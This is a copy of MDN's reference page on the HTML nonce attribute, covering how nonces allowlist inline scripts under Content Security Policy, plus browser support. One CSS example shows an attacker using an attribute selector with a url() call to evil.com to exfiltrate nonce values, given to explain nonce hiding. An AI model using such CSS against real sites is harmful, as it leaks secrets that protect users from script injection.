blob: 82cdea4a05203fdac17b42fe4d951d6d9587cf39 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
|
<header><h1>nonce</h1></header><div class="section-content"><p> The <code>nonce</code> <a href="../global_attributes">global attribute</a> is a content attribute defining a cryptographic nonce ("number used once") which can be used by <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policy</a> to determine whether or not a given fetch will be allowed to proceed for a given element. </p></div>
<h2 id="description">Description</h2>
<div class="section-content">
<p> The <code>nonce</code> attribute is useful to allowlist specific elements, such as a particular inline script or style elements. It can help you to avoid using the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">CSP</a> <code>unsafe-inline</code> directive, which would allowlist <em>all</em> inline scripts or styles. </p> <div class="notecard note" id="sect1"> <p> <strong>Note:</strong> Only use <code>nonce</code> for cases where you have no way around using unsafe inline script or style contents. If you don't need <code>nonce</code>, don't use it. If your script is static, you could also use a CSP hash instead. (See usage notes on <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#unsafe_inline_script">unsafe inline script</a>.) Always try to take full advantage of <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">CSP</a> protections and avoid nonces or unsafe inline scripts whenever possible. </p> </div>
</div>
<h3 id="using_nonce_to_allowlist_a_script_element">Using nonce to allowlist a <script> element</h3>
<div class="section-content">
<p>There are a few steps involved to allowlist an inline script using the nonce mechanism:</p> <h4 id="generating_values">Generating values</h4> <p> From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs: </p> <div class="code-example">
<p class="example-header"><span class="language-name">js</span></p>
<pre data-signature="zB67V+cco1wa0pAli8kumuOzdGYLWKCjHlP3XEjixdI=" data-language="js"><span class="token keyword">const</span> crypto <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">"crypto"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
crypto<span class="token punctuation">.</span><span class="token function">randomBytes</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token string">"base64"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">// '8IBTHwOdqNKAWeKl7plt8g=='</span>
</pre>
</div> <h4 id="allowlisting_inline_script">Allowlisting inline script</h4> <p>The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist:</p> <div class="code-example">
<p class="example-header"><span class="language-name">html</span></p>
<pre data-signature="/tbYLnfwT3nAHyAmZ34j2NeBASwkbHO17OIz1j7dww4=" data-language="html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span> <span class="token attr-name">nonce</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>8IBTHwOdqNKAWeKl7plt8g==<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">
<span class="token comment">// …</span>
</span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span>
</pre>
</div> <h4 id="sending_a_nonce_with_a_csp_header">Sending a nonce with a CSP header</h4> <p> Finally, you'll need to send the nonce value in a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy"><code>Content-Security-Policy</code></a> header (prepend <code>nonce-</code>): </p> <div class="code-example">
<p class="example-header"><span class="language-name">http</span></p>
<pre data-signature="ofiWNqhGUZPyuFmL6RH8FcJ7x2+/Hsm19dtZhn6HaiI=" data-language="http"><span class="token header"><span class="token header-name keyword">Content-Security-Policy</span><span class="token punctuation">:</span> <span class="token header-value csp languages-csp">script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='</span></span>
</pre>
</div>
</div>
<h3 id="accessing_nonces_and_nonce_hiding">Accessing nonces and nonce hiding</h3>
<div class="section-content">
<p>For security reasons, the <code>nonce</code> content attribute is hidden (an empty string will be returned).</p> <div class="code-example">
<p class="example-header"><span class="language-name">js</span></p>
<pre data-signature="vcL61plJ0VvPNb64YjMBAJFNGZ0iWWKVDIv9+S1GId0=" data-language="js">script<span class="token punctuation">.</span><span class="token function">getAttribute</span><span class="token punctuation">(</span><span class="token string">"nonce"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// returns empty string</span>
</pre>
</div> <p>The <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/nonce"><code>nonce</code></a> property is the only way to access nonces:</p> <div class="code-example">
<p class="example-header"><span class="language-name">js</span></p>
<pre data-signature="Z7QBT2SqRQcL8xBxFXe2jZUxiSa4amxUPgiIShO37ro=" data-language="js">script<span class="token punctuation">.</span>nonce<span class="token punctuation">;</span> <span class="token comment">// returns nonce value</span>
</pre>
</div> <p> Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this: </p> <div class="code-example">
<p class="example-header"><span class="language-name">css</span></p>
<pre data-signature="7jcEtfhRt2s3WYAb5vuVO2C3mmcrN89eUhPgKa1r8QI=" data-language="css"><span class="token selector">script[nonce~="whatever"]</span> <span class="token punctuation">{</span>
<span class="token property">background</span><span class="token punctuation">:</span> <span class="token url"><span class="token function">url</span><span class="token punctuation">(</span><span class="token string url">"https://evil.com/nonce?whatever"</span><span class="token punctuation">)</span></span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
</pre>
</div>
</div>
<h2 id="specifications">Specifications</h2>
<div class="_table"><table class="standard-table">
<thead><tr><th scope="col">Specification</th></tr></thead>
<tbody><tr><td><a href="https://html.spec.whatwg.org/multipage/urls-and-fetching.html#attr-nonce">HTML Standard <br><small># attr-nonce</small></a></td></tr></tbody>
</table></div>
<h2 id="browser_compatibility">Browser compatibility</h2>
<div class="_table"><table>
<thead>
<tr id="bct-browser-type">
<th></th>
<th colspan="6">Desktop</th>
<th colspan="6">Mobile</th>
</tr>
<tr id="bct-browsers">
<th></th>
<th>Chrome</th>
<th>Edge</th>
<th>Firefox</th>
<th>Internet Explorer</th>
<th>Opera</th>
<th>Safari</th>
<th>WebView Android</th>
<th>Chrome Android</th>
<th>Firefox for Android</th>
<th>Opera Android</th>
<th>Safari on IOS</th>
<th>Samsung Internet</th>
</tr>
</thead>
<tbody>
<tr>
<th><code>nonce</code></th>
<td class="bc-supports-yes">Yes</td>
<td class="bc-supports-yes">Yes</td>
<td class="bc-supports-yes">31</td>
<td class="bc-supports-no">No</td>
<td class="bc-supports-yes">Yes</td>
<td class="bc-supports-yes">Yes</td>
<td class="bc-supports-yes">Yes</td>
<td class="bc-supports-yes">Yes</td>
<td class="bc-supports-yes">31</td>
<td class="bc-supports-yes">Yes</td>
<td class="bc-supports-yes">Yes</td>
<td class="bc-supports-yes">Yes</td>
</tr>
<tr>
<th><code>nonce_hiding</code></th>
<td class="bc-supports-yes">61</td>
<td class="bc-supports-yes">79</td>
<td class="bc-supports-yes">75</td>
<td class="bc-supports-no">No</td>
<td class="bc-supports-yes">48</td>
<td class="bc-supports-no">No</td>
<td class="bc-supports-yes">61</td>
<td class="bc-supports-yes">61</td>
<td class="bc-supports-yes">79</td>
<td class="bc-supports-yes">45</td>
<td class="bc-supports-no">No</td>
<td class="bc-supports-yes">8.0</td>
</tr>
</tbody>
</table></div>
<h2 id="see_also">See also</h2>
<div class="section-content"><ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/nonce"><code>HTMLElement.nonce</code></a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policy</a></li> <li>CSP: <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src"><code>script-src</code></a>
</li> </ul></div><div class="_attribution">
<p class="_attribution-p">
© 2005–2023 MDN contributors.<br>Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.<br>
<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce" class="_attribution-link">https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce</a>
</p>
</div>
|